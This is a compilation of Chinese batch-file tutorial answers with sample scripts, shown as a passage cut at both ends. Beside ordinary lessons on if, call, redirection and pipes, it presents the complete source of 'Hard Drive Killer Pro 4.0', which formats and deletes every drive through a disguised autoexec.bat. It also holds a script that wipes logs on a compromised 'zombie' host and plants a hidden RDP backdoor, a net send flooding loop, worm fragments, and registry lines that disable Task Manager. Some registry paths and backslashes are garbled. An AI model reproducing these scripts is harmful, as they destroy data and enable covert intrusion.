exit。只是多一个not来表示否定而已。 (3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵): masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。 另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。 这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成: masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。 IF [NOT] ERRORLEVEL number do command IF [NOT] string1==string2 do command IF [NOT] EXIST filename do command8、call 学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat): start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k 有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。 在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用—-调用自身!看例九(默认脚本文件名a.bat): net send %1 This is a call example. call a.bat 这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。 给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat): call a.bat 一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

⑸ bat的代码示例

好了,先来几个实用的。 命令代码如下:@echo offecho 正在清除系统垃圾文件,请稍等……del /f /s /q %systemdrive%*.tmpdel /f /s /q %systemdrive%*._mpdel /f /s /q %systemdrive%*.logdel /f /s /q %systemdrive%*.giddel /f /s /q %systemdrive%*.chkdel /f /s /q %systemdrive%*.olddel /f /s /q %systemdrive%ecycled*.*del /f /s /q %windir%*.bakdel /f /s /q %windir%prefetch*.*rd /s /q %windir% emp & md %windir% empdel /f /q %userprofile%cookies*.*del /f /q %userprofile%ecent*.*del /f /s /q %userprofile%Local SettingsTemporary Internet Files*.*del /f /s /q %userprofile%Local SettingsTemp*.*del /f /s /q %userprofile%ecent*.*echo 清除系统垃圾文件完成!pause @echo off::判断本地连接赋值afor /f tokens=3,4 delims== %%i in ('ipconfig ^|findstr /r 本') do echo %%i %%j >DNS.txtfor /f tokens=1 delims==: %%d in (DNS.txt) do set a=%%decho 请根据实际情况更改下面三行set slection1=set/p slection1=请输入IP地址:netsh interface ip set address name=%a% source=static addr=%slection1% mask=255.255.255.0set slection2=set/p slection2=请输入网关地址:netsh interface ip set address name=%a% gateway=%slection2% gwmetric=0set slection3=set/p slection3=请输入主dns地址netsh interface ip set dns name=%a% source=static addr=%slection3% register=PRIMARYset slection4=set/p slection4=请输入备份dns地址netsh interface ip add dns name=%a% addr=%slection4%netsh interface ip set wins name=%a% source=static addr=nonedel DNS.txtexit 改完IP后可用这个完成本机ARP的绑定:@echo offif exist ipconfig.txt del ipconfig.txtipconfig /all >ipconfig.txtif exist phyaddr.txt del phyaddr.txtfind Physical Address ipconfig.txt >phyaddr.txtfor /f skip=2 tokens=12 %%M in (phyaddr.txt) do set Mac=%%Mif exist IPAddr.txt del IPaddr.txtfind IP Address ipconfig.txt >IPAddr.txtfor /f skip=2 tokens=15 %%I in (IPAddr.txt) do set IP=%%Iarp -s %IP% %Mac%del ipaddr.txtdel ipconfig.txtdel phyaddr.txtexit同时修改IP和MAC地址的小代码及制作步骤,用于带着本本到处跑又要改IP的场合!1:生成 IP配置文件。修改你的IP地址配置为某一个配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相关的,不需要修改MAC地址)。然后输入:netsh -c interface mp> c:
et1.txt这里net1.txt就是你生成的IP配置文件了!可以改为其它的文件名,比如:实验室,寝室!依次生成所有的网络配置的配置文件,我假设一共生成两个网络配置分别为net1.txt和net2.txt2:下载软件SMAC为修改MAC地址的小软件仅8K,我已经上传了。3:在C盘根目录下建立一个目录,把刚才下载的smac.exe,生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是:C:cmd4:建立一个批处理文件,假设为:ToNet1.bat(可以使用记事本编辑,不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat,否则就是ToNet1.bat.txt)输入如下代码:smac -modifymac 0 0050BA44D27Anetsh -f net1.txtnet1.txt就是你要设置的某一个网络的配置,0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略,这个表示网卡(你不会有两个或者多个网卡吧?如果你有,请注意自己先试一下看是哪一个网卡了:在这个smac程序的readme中有list功能,你可以判断一下)。同样的方法,建立ToNet2.bat,当然修改网络配置文件为net2.txt和mac地址的属性了。把这两个bat文件也放到c:cmd目录中。5:然后你可以建立这两个bat文件的快捷方式,双击一下自动更换了!不过请注意,修改MAC地址可能需要重新启动一下网卡比较好(禁用再启用) shutdown -s -t 0运行这个后,立刻关机想要重启,就把-s改为-r reg addHKEY_CURRENT_ystem /v DisableRegistryTools /t reg_dword /d 00000001 /f reg addHKEY_CURRENT_ystem /v DisableRegistryTools /t reg_dword /d 00000000 /fstart regedit reg add /vHidden /t reg_dword /d 1 /freg add /vHideFileExt /t reg_dword /d 0 /freg add /vShowSuperHidden /t reg_dword /d 1 /f REG ADDHKEY_CURRENT_ystem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f REG ADDstem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f解释:这五个都是通过改注册表做到的。接下来搞几个用密码的。 @echo offmode con cols=30 lines=4set b=5:pwdtitle Passwordset /a a=%a%+1set /a b=%b%-1set /p pwd=Enter Password:if /I %pwd%==Password goto mainif /I %a%==5 goto errecho Error %a% times! You have %b% times left now.goto pwd:errcolor 40mode con cols=30 lines=2title Error!clsecho.echo Error 5 times, it will exit!ping 127.1 -n 6 >nulexit:mainmode con cols=30 lines=3echo Password right!pauseclsgoto program:programmode con cols=64 lines=16:: Your program here. ::解释:把第九行的Password改成密码。 @echo offecho.echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件,请稍侯……echo.echo. >lockcmd.batecho @echo off >lockcmd.batecho echo. >>lockcmd.batecho setlocal >>lockcmd.batecho set /a times=3 >>lockcmd.batecho :checkpassword >>lockcmd.batecho set /p password=请输入密码: >>lockcmd.batecho set /a times=times-1 >>lockcmd.batecho if %%password%%==密码 goto continue >>lockcmd.batecho if %%times%%==0 goto exit >>lockcmd.batecho echo 输入的密码不正确,请重新输入,还有%%times%%次机会!>>lockcmd.batecho goto checkpassword >>lockcmd.batecho :exit >>lockcmd.batecho echo. >>lockcmd.batecho echo 你无权进入命令行状态! >>lockcmd.batecho exit >>lockcmd.batecho :continue >>lockcmd.batecho cls >>lockcmd.batecho title 欢迎你回到命令行窗口工作!!! >>lockcmd.batecho cd /d c: >>lockcmd.batecho endlocal >>lockcmd.bat lockcmd.bat %windir%echo 正在设置注册表,从而让命令行窗口一打开便进入锁定状态……echo Windows Registry Editor Version 5.00 >temp.regecho [HKEY_LOCAL_ Processor]>>temp.regecho AutoRun=lockcmd.bat >>temp.regecho 成功锁住命令行,只有输入正确的密码才可使用!regedit /s temp.regdel /q /f temp.reg >nuldel /q /f lockcmd.bat >nulpause>nul解释:这两个把“密码”改成你要输的密码就行了。嗯,接下来是几个整人的。2H1Q声明:使用这些代码造成的后果(比如别人找你麻烦)自负。首先是个吓唬人的。——–为维护网络安全以下代码已删除——- 注意,这个要慎用!!!!!@echo offset /p t=请输入您要修改的密码:net user 计算机名 %t%echo 修改成功!在计算机名处写电脑登录时的账号比如:net user administrator %t%嗯,代码就列举到这里,大家可以自己编一些哦。

⑹ bat文件的实例说明

删除win2k/xp系统默认共享的批处理cut here then save as .bat or .cmd file@echo preparing to delete all the default shares.when ready pres any key.@pause@echo off:Rem check parameters if null show usage.if {%1}=={} goto :Usage:Rem code start.echo.echoecho.echo Now deleting all the default shares.echo.net share %1$ /deletenet share %2$ /deletenet share %3$ /deletenet share %4$ /deletenet share %5$ /deletenet share %6$ /deletenet share %7$ /deletenet share %8$ /deletenet share %9$ /deletenet stop Servernet start Serverecho.echo All the shares have been deleteedecho.echoecho.echo Now modify the registry to change the system default properties.echo.echo Now creating the registry fileecho Windows Registry Editor Version 5.00> c:delshare.regecho [HKEY_LOCAL_]>> c:delshare.regecho AutoShareWks=dword:00000000>> c:delshare.regecho AutoShareServer=dword:00000000>> c:delshare.regecho Nowing using the registry file to chang the system default properties.regedit /s c:delshare.regecho Deleting the temprotarily files.del c:delshare.reggoto :END:Usageecho.echoecho.echo ☆ A example for batch file ☆echo ☆ [Use batch file to change the sysytem share properties.] ☆echo.echo Author:Ex4rchecho.echo Error:Not enough parametersecho.echo ☆ Please enter the share disk you wanna delete ☆echo.echo For instance,to delete the default shares:echo delshare c d e ipc admin printecho.echo If the disklable is not as C: D: E: ,Please chang it youself.echo.echo example:echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :echo delshare c d e x y z ipc admin printecho.echo *** you can delete nine shares once in a useing ***echo.echogoto :EOF:ENDecho.echoecho.echo OK,delshare.bat has deleted all the share you assigned.echoecho.echoecho.:EOFecho end of the batch filecut here then save as .bat or .cmd file全面加固系统(给肉鸡打补丁)cut here then save as .bat or .cmd file@echo Windows Registry Editor Version 5.00 >patch.dll@echo [HKEY_LOCAL_] >>patch.dll@echo AutoShareServer=dword:00000000 >>patch.dll@echo AutoShareWks=dword:00000000 >>patch.dll@REM [禁止共享]@echo [HKEY_LOCAL_] >>patch.dll@echo restrictanonymous=dword:00000001 >>patch.dll@REM [禁止匿名登录]@echo [HKEY_LOCAL_] >>patch.dll@echo SMBDeviceEnabled=dword:00000000 >>patch.dll@REM [禁止及文件访问和打印共享]@echo [[email protected]] >>patch.dll@echo Start=dword:00000004 >>patch.dll@echo [HKEY_LOCAL_Schele] >>patch.dll@echo Start=dword:00000004 >>patch.dll@echo [HKEY_LOCAL_ NTCurrentVersionWinlogon] >>patch.dll@echo ShutdownWithoutLogon=0 >>patch.dll@REM [禁止登录前关机]@echo DontDisplayLastUserName=1 >>patch.dll@REM [禁止显示前一个登录用户名称]@regedit /s patch.dllcut here then save as .bat or .cmd file下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。@regedit /s patch.dll@net stop w3svc@net stop event log@del c:winntsystem32logfilesw3svc1*.* /f /q@del c:winntsystem32logfilesw3svc2*.* /f /q@del c:winntsystem32config*.event /f /q@del c:winntsystem32dtclog*.* /f /q@del c:winnt*.txt /f /q@del c:winnt*.log /f /q@net start w3svc@net start event log@rem [删除日志]@net stop lanmanserver /y@net stop Schele /y@net stop RemoteRegistry /y@del patch.dll@echo The server has been patched,Have fun.@del patch.bat@REM [禁止一些危险的服务。]@echo [HKEY_LOCAL_ l ServerWinStationsRDP-Tcp] >>patch.dll@echo PortNumber=dword:00002010 >>patch.dll@echo PortNumber=dword:00002012 >>patch.dll@echo [HKEY_LOCAL_TermDD] >>patch.dll@echo Start=dword:00000002 >>patch.dll@echo [HKEY_LOCAL_SecuService] >>patch.dll@echo Start=dword:00000002 >>patch.dll@echo ErrorControl=dword:00000001 >>patch.dll@echo ImagePath=hex⑵:25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll@echo ObjectName=LocalSystem >>patch.dll@echo Type=dword:00000010 >>patch.dll@echo Description=Keep record of the program and windows message。 >>patch.dll@echo DisplayName=Microsoft EventLog >>patch.dll@echo [HKEY_LOCAL_ ermservice] >>patch.dll@echo Start=dword:00000004 >>patch.dll@ c:winntsystem32 ermsrv.exec:winntsystem32eventlog.exe@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)cut here then save as .bat or .cmd file@echo offrem This program is dedecated to a very special person that does not want to be named.:startclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .call attrib -r -h c:autoexec.bat >nulecho @echo off >c:autoexec.batecho call format c: /q /u /autoSample >nul >>c:autoexec.batcall attrib +r +h c:autoexec.bat >nulrem Drive checking and assigning the valid drives to the drive variable.set drive=set alldrive=c d e f g h i j k l m n o p q r s t u v w x y zrem code insertion for Drive Checking takes place here.rem drivechk.bat is the file name under the root directory.rem As far as the drive detection and drive variable settings,dont worry about how itrem works,its d*amn to complicated for the average or even the expert batch programmer.rem Except for Tom Lavedas.echo @echo off >drivechk.batecho @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find Vol > nul >{t}.bat%comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 goto enddc >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem When errorlevel is 1,then the above is not true,if 0,then its true.rem Opposite of binary rules. If 0,it will elaps to the next command.echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find bytes > nul >{t}.bat%comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 goto enddc >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem if errorlevel is 1,then the drive specified is a removable media drive – not ready.rem if errorlevel is 0,then it will elaps to the next command.echo @prompt dir %%%%1:./ad/w/-p $b find 0 bytes free > nul >{t}.bat%comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem if its errorlevel 1,then the specified drive is a hard or floppy drive.rem if its not errorlevel 1,then the specified drive is aCD-ROMdrive.echo :enddc >>drivechk.batrem Drive checking insertion ends here. enddc stands for end dDRⅣE cHECKING.rem Now we will use the program drivechk.bat to attain valid drive information.:Sampledrvfor %%a in (%alldrive%) do call drivechk.bat %%a >nuldel drivechk.bat >nulif %drive.==. set drive=c:form_delcall attrib -r -h c:autoexec.bat >nulecho @echo off >c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.batecho cls >>c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) do call c: emp.bat %%%%a Bunga >nul >>c:autoexec.batecho cls >>c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.batecho cls >>c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.batecho cls >>c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) do call c: emp.bat %%%%a Bunga >nul >>c:autoexec.batecho cls >>c:autoexec.batecho echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:autoexec.batecho for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.batecho cd >>c:autoexec.batecho cls >>c:autoexec.batecho echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:autoexec.batecho echo If you ran this file,then sorry,I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.batecho echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.batecho echo 2. Love is important,if you have it,truly,dont let go of it like I did! >>c:autoexec.batecho echo 3. If you are NOT a vegetarian,then you are a murderer,and Im glad your HD is dead. >>c:autoexec.batecho echo 4. Dont support the following: War,Racism,Drugs and the Liberal Party.>>c:autoexec.batecho echo. >>c:autoexec.batecho echo Regards,>>c:autoexec.batecho echo. >>c:autoexec.batecho echo Munga Bunga >>c:autoexec.batcall attrib +r +h c:autoexec.bat:makedirif exist c: emp.bat attrib -r -h c: emp.bat >nulecho @echo off >c: emp.batecho %%1: >>c: emp.batecho cd >>c: emp.batecho :startmd >>c: emp.batecho for %%%%a in (if not exist %%2
ul md %%2 if exist %%2
ul cd %%2) do %%%%a >>c: emp.batecho for %%%%a in (>ass_hole.txt) do echo %%%%a Your Gone @$$hole!!!! >>c: emp.batecho if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2
ul goto startmd >>c: emp.batcall attrib +r +h c: emp.bat >nulclsecho Initializing Variables . . .rem deltree /y %%a:*. only eliminates directories,hence leaving the file created above for further destruction.for %%a in (%drive%) do call format %%a: /q /u /autoSample >nulclsecho Initializing Variables . . .echo Validating Data . . .for %%a in (%drive%) do call c: emp.bat %%a Munga >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .for %%a in (%drive%) call attrib -r -h %%a: /S >nulcall attrib +r +h c: emp.bat >nulcall attrib +r +h c:autoexec.bat >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .echo Initializing Application . . .for %%a in (%drive%) call deltree /y %%a:*. >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .echo Initializing Application . . .echo Starting Application . . .for %%a in (%drive%) do call c: emp.bat %%a Munga >nulclsecho Thank you for using a Munga Bunga proct.echo.echo Oh and,Bill Gates rules,and he is not a geek,he is a good looking genius.echo.echo Here is a joke for you . . .echo.echo Q). Whats the worst thing about being an egg?echo A). You only get laid once.echo.echo HAHAHAHA,get it? Dont you just love that one?echo.echo Regards,echo.echo Munga Bunga:endrem Hard Drive Killer Pro Version 4.0,enjoy!!!!rem Author: Munga Bunga – from Australia,the land full of retarded Australians (help me get out of here).

⑺ 怎么编写bat文件,是什么语法,给几个范本

【 echo 命令 】 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一 些命令到特定的文件中。【 rem 命令 】 注释命令,类似于在C语言中的/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读 和你自己日后修改。 :: 也具有rem的功能 但::和rem还是有区别的,当关闭回显时,rem和::后的内容都不会显示。但是当打开回显时,rem和rem 后的内容会显示出来,然而::后的内容仍然不会显示。 Rem Message Sample:@Rem Here is the description.【 pause 命令 】 暂停命令。运行 Pause 命令时,将显示下面的消息: Press any key to continue. . .(或:请按任意键继续. . .) Sample: @echo off :begin G:*.* d:\back echo 请插入另一张光盘… pause goto begin 在这个例子中,驱动器 G 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张光盘 盘放入驱动器 G 时,pause 命令会使程序挂起,以便您更换光盘,然后按任意键继续处理。【 call 命令 】 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的 标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName ] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。【 start 命令 】 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 如:start calc.exe 即可打开Windows的计算器。 常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令 脚本内执行,该新行为则不会发生。【 goto 命令 】 跳转命令。程序指针跳转到指定的标签,从标签后的第一条命令开始继续执行批处理程序。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释 。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。【 set 命令 】 显示、设置或删除变量。 显示变量:set 或 set s 前者显示批处理当前已定义的所有变量及其值,后者显示所有以s开头的变量及值。 设置变量:set aa=abcd 此句命令便可向变量aa赋值abcd。如果变量aa已被定义,则aa的值被修改为abcd;若aa尚未定义,则此句命令即可定义新的变量aa,同时为变量aa赋予初始值abcd。 删除变量:set aa= 此句命令即可删除变量aa。若变量aa已被定义,则删除变量aa;若aa尚未定义,则此句命令为实质意义。 需要说明的是,批处理中的变量是不区分类型的,不需要像C语言中的变量那样还要区分int、float、char等。比如执行set aa=345后,变量aa的值既可以被视为数字345,也可以被视为字符串345。 set命令具有扩展功能,如用作交互输入、字符串处理、数值计算等,属于高级命令范畴。[编辑本段]批处理符号简介【 回显屏蔽 @ 】 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 @用法举例:通过运行批处理文件对比pause和@pause命令即可明了@的效果。【 重定向1 >与>> 】 将输出信息重定向到指定的设备或文件。系统默认输出到显示器。 如:echo aaaaa>a.txt 即可将本在显示器上显示的信息aaaaa输出到文件a.txt中,屏幕上没有任何显示。如果文件a.txt本来已经存在,该命令将首先擦除a.txt中的所有信息,然后写入信息aaaaa;若a.txt本来就不存在,该命令即可新建一个a.txt文件,并写入信息aaaaa。 echo aaaaa>>a.txt 类似于echo aaaaa>a.txt。区别在于:如果a.txt本已存在,>a.txt会擦除a.txt中的原有内容,而>>a.txt并不擦除原有内容,仅在a.txt文件的末尾添加信息aaaaa。a.txt不存在时,二者没有差别。【 重定向2 < 】 将输入信息来源重定向为指定的设备或文件。系统默认从显示器读取输入信息。 重定向使用举例: ========================================= @echo off echo abcdefg——这是文件a.txt中的信息>a.txt echo 请任意输入字符,以回车结束: set /p ifo= cls echo 【 从屏幕获得的输入信息 】 echo %ifo% set /p ifo=<a.txt echo 【 从文件a.txt获得的输入信息 】 echo %ifo% pause>nul ========================================= 读者观察命令与输出即可体会到重定向的功能和效果。【 管道符号 | 】 将管道符号前面命令的输出结果重定向输出到管道符号后面的命令中去,作为后面命令的输入。使用格式为:command_1|command_2 管道符号使用举例: ========================================= @echo off echo aaaa>a.txt del /p a.txt pause ========================================= @echo off echo aaaa>a.txt echo y|del /p a.txt pause ========================================= 对比以上两个批处理执行结果,读者即可明白管道符的用法和效果。 需要说明的是,上面del命令添加开关/p只是为了让读者明白管道符号的使用方法,实际删除文件时不加/p开关即可实现无提示直接删除。【 转义符 ^ 】 将特殊符号转化为一般符号,即剥离特殊符号的特殊地位。特殊符号指:| & > < 比如,如果我们想输出符号“>”,直接用命令 echo > 是不行的,必须修改为 echo ^> 。其余几个特殊符号类似需要有同样的处理。 转义字符使用举例: ========================================= @echo off echo aaaa>a.txt echo 第一句echo执行完毕 echo aaaa^>a.txt echo 第二句echo执行完毕 pause ========================================= 比较上面的两句echo,第一句echo将信息aaaa输出到了文件a.txt,而第二句echo则在直接屏幕上显示出aaaa>a.txt【 逻辑命令符 】 逻辑命令符包括:&、&&、|| &-它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败; &&-当&&前面的命令成功执行时,执行&&后面的命令,否则不执行; ||-当||前面的命令失败时,执行||后面的命令,否则不执行。 ========================================= @echo off echo ^|^| reg add HKCU /v try /f||echo **成功** reg add HKCU1 /v try /f||echo **失败** echo ^&^& reg delete HKCU /v try /f&&echo **成功** reg delete HKCU /v try /f&&echo **失败** echo ^& reg delete HKCU /v try /f&echo **成功** reg delete HKCU /v try /f&echo **失败** pause ========================================= 执行reg add或reg delete后,系统会给出执行结果;我们通过echo命令也给出了“执行结果”。对比系统和我们自己给出的结果,既可以验证逻辑命令的判断机理。[编辑本段]常用DOS命令释义【 文件夹管理 】 cd 显示当前目录名或改变当前目录。 md 创建目录。 rd 删除一个目录。 dir 显示目录中的文件和子目录列表。 tree 以图形显示驱动器或路径的文件夹结构。 path 为可执行文件显示或设置一个搜索路径。 x 复制文件和目录树。【 文件管理 】 type 显示文本文件的内容。 将一份或多份文件复制到另一个位置。 del 删除一个或数个文件。 move 移动文件并重命名文件和目录。(Windows XP Home Edition中没有) ren 重命名文件。 replace 替换文件。 attrib 显示或更改文件属性。 find 搜索字符串。 fc 比较两个文件或两个文件集并显示它们之间的不同【 网络命令 】 ping 进行网络连接测试、名称解析 ftp 文件传输 net 网络命令集及用户管理 telnet 远程登陆 ipconfig显示、修改TCP/IP设置 msg 给用户发送消息 arp 显示、修改局域网的IP地址-物理地址映射列表【 系统管理 】 at 安排在特定日期和时间运行命令和程序 shutdown立即或定时关机或重启 tskill 结束进程 taskkill结束进程(比tskill高级,但WinXPHome版中无该命令) tasklist显示进程列表(Windows XP Home Edition中没有) sc 系统服务设置与控制 reg 注册表控制台工具 powercfg控制系统上的电源设置 对于以上列出的所有命令,在cmd中输入命令+/?即可查看该命令的帮助信息。如find /?[编辑本段]语句结构释义 类似于C语言,批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。【 if语句(选择结构) 】 if语句实现条件判断,包括字符串比较、存在判断、定义判断等。通过条件判断,if语句即可以实现选择功能。 1、字符串比较 if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为: IF [not] string1 compare-op string2 command1 [else command2] 其中,比较操作符compare-op有以下几类: == – 等于 EQU – 等于 NEQ – 不等于 LSS – 小于 LEQ – 小于或等于 GTR – 大于 GEQ – 大于或等于 选择开关/i则不区分字符串大小写;选择not项,则对判断结果进行逻辑非。 字符串比较示例: =============================================== @echo off set str1=abcd1233 set str2=ABCD1234 if %str1%==%str2% (echo 字符串相同!) else (echo 字符串不相同!) if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2) echo. set /p 